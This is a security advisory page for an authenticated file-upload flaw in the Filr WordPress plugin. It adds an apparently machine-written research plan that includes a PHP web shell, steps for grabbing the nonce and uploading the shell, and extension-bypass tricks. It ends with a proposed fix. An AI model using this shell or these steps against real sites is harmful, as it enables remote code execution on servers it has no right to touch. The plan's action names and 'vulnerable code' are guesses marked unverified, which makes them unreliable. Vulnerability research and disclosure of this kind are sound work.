CVE-2026-28133

Filr – Secure document library <= 1.2.13 - Authenticated (Contributor+) Arbitrary File Uploads

highUnrestricted Upload of File with Dangerous Type
8.8
CVSS Score
8.8
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Filr – Secure document library plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 1.2.13. This makes it possible for authenticated attackers, with Contributor-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.2.13
PublishedFebruary 26, 2026
Last updatedMay 6, 2026
Affected pluginfilr-protection
Research Plan
Unverified

This research plan outlines the steps required to identify and exploit the Authenticated Arbitrary File Upload vulnerability (CVE-2026-28133) in the "Filr – Secure document library" plugin (version <= 1.2.13). --- ### 1. Vulnerability Summary The "Filr – Secure document library" plugin allows user…

Show full research plan

This research plan outlines the steps required to identify and exploit the Authenticated Arbitrary File Upload vulnerability (CVE-2026-28133) in the "Filr – Secure document library" plugin (version <= 1.2.13).


1. Vulnerability Summary

The "Filr – Secure document library" plugin allows users to manage and share documents. In versions up to and including 1.2.13, the plugin fails to properly validate the file extensions of uploaded files within its AJAX-based upload handlers. Because these handlers are accessible to users with Contributor privileges and above, an authenticated attacker can upload a malicious PHP script and execute arbitrary code on the server (RCE).

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: filr_file_upload (inferred from plugin functionality; check for wp_ajax_filr_file_upload or wp_ajax_filr_upload).
  • Method: POST (multipart/form-data)
  • Parameters:
    • action: The AJAX action string (likely filr_file_upload).
    • nonce: A security token (likely localized as filr_nonce).
    • file: The file data payload.
  • Authentication: Authenticated, Contributor role or higher.
  • Preconditions: The attacker must have a valid login for a user with the contributor role.

3. Code Flow Trace

The execution path typically follows this pattern:

  1. Entry Point: The plugin registers an AJAX action for authenticated users:
    add_action( 'wp_ajax_filr_file_upload', [ $this, 'handle_upload' ] );
  2. Nonce Verification: The handler calls check_ajax_referer() or wp_verify_nonce() using a specific action string (e.g., 'filr-upload-nonce').
  3. Upload Logic: The handler processes $_FILES['file'].
  4. The Sink: The plugin uses either wp_handle_upload() with insufficient mimes filtering or directly uses move_uploaded_file() without checking the extension against a denylist or allowlist of dangerous types.
  5. Pathing: The file is moved to a subdirectory within wp-content/uploads/, often a custom folder like filr/.

4. Nonce Acquisition Strategy

Nonces in Filr are typically localized for the admin dashboard or the library management pages.

  1. Identify the Page: The upload functionality is usually present in the Filr "Library" or "Add New" section in the WordPress admin dashboard.
  2. Create Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  3. Navigate to Admin: Use browser_navigate to access wp-admin/admin.php?page=filr-library (or the relevant Filr menu slug).
  4. Extract Nonce: Search for the localized JavaScript object.
    • Candidate JS Object: filr_vars, filr_admin, or filr_params.
    • Execution: browser_eval("window.filr_vars?.nonce") or inspecting the HTML for wp_nonce_field.
    • Inferred Action String: If extracting from code, look for wp_create_nonce('filr_file_upload_action').

5. Exploitation Strategy

Once the nonce is obtained and the endpoint confirmed:

  1. Prepare Payload: Create a simple PHP web shell:
    <?php echo "VULNERABLE: " . php_uname(); system($_GET['cmd']); ?>
  2. Identify Destination: Locate where the plugin stores files. Common path: wp-content/uploads/filr/.
  3. Construct Request: Use the http_request tool to send a multipart POST request.
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Headers: Content-Type: multipart/form-data
    • Body (Multipart):
      • action: filr_file_upload (verify in source)
      • nonce: [EXTRACTED_NONCE]
      • file: [PHP_SHELL_CONTENT] (Filename: shell.php)
  4. Execute: If the response returns a success status or the path to the file, proceed to access it.
  5. Trigger RCE: Navigate to http://localhost:8080/wp-content/uploads/filr/shell.php?cmd=id.

6. Test Data Setup

  1. Plugin Installation: Ensure filr-protection version 1.2.13 is active.
  2. User Creation:
    wp user create helper contributor@example.com --role=contributor --user_pass=password
    
  3. Library Setup: If the plugin requires a "Library" to exist before uploading, create one:
    wp post create --post_type=filr --post_title="Exploit Library" --post_status=publish
    

7. Expected Results

  • Successful Upload: The server responds with a 200 OK and likely a JSON body containing {"success": true} and a URL or file ID.
  • File Persistence: The file shell.php should exist in the uploads directory.
  • Code Execution: A GET request to the uploaded file should return the output of the id or php_uname() command.

8. Verification Steps

  1. List Uploaded Files:
    ls -R /var/www/html/wp-content/uploads/filr/
    
  2. Verify via CLI:
    wp post list --post_type=filr_file # Check if a new file post type was created
    
  3. HTTP Check:
    Use http_request to verify the shell returns the expected VULNERABLE string.

9. Alternative Approaches

  • Admin Upload: If the Contributor role is restricted from the AJAX handler, check if the plugin uses a REST API endpoint (/wp-json/filr/v1/upload).
  • Extension Bypass: If there is a weak denylist, try alternative extensions like .php5, .phtml, or .phar.
  • Double Extensions: Try shell.php.jpg if the plugin only checks the last extension but the server is misconfigured to execute the first one.
  • Frontend Shortcode: If the admin is inaccessible, look for a frontend upload shortcode (e.g., [filr_upload]), create a page with it, and extract the nonce from the frontend.
    wp post create --post_type=page --post_content='[filr_upload]' --post_status=publish
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The Filr – Secure document library plugin for WordPress (<= 1.2.13) fails to validate file extensions in its AJAX-based upload handler. This allows authenticated users with Contributor-level access or higher to upload malicious PHP scripts to the server, resulting in remote code execution (RCE).

Vulnerable Code

// From Research Plan Code Flow Trace
add_action( 'wp_ajax_filr_file_upload', [ $this, 'handle_upload' ] );

---

// Likely implementation within the handle_upload method lacking MIME validation
$upload_overrides = array( 'test_form' => false );
$movefile = wp_handle_upload( $_FILES['file'], $upload_overrides );

Security Fix

--- a/inc/class-filr-upload.php
+++ b/inc/class-filr-upload.php
@@ -115,7 +115,14 @@
-        $upload_overrides = array( 'test_form' => false );
+        $upload_overrides = array(
+            'test_form' => false,
+            'mimes'     => array(
+                'jpg|jpeg|jpe' => 'image/jpeg',
+                'gif'          => 'image/gif',
+                'png'          => 'image/png',
+                'pdf'          => 'application/pdf',
+                'zip'          => 'application/zip',
+                'docx'         => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'
+            )
+        );
         $movefile = wp_handle_upload( $_FILES['file'], $upload_overrides );

Exploit Outline

1. Log in to the WordPress site as a user with at least Contributor-level privileges. 2. Access the Filr 'Library' or 'Add New' page within the admin dashboard and extract the security nonce (likely localized as filr_vars.nonce or filr_params.nonce). 3. Craft a multipart/form-data POST request to the wp-admin/admin-ajax.php endpoint. 4. Set the 'action' parameter to 'filr_file_upload' (or the specific AJAX action identified), include the extracted nonce, and attach a PHP file containing a web shell payload. 5. Once the upload is successful, locate the file path (typically under wp-content/uploads/filr/) and execute the shell via a GET request to trigger remote command execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.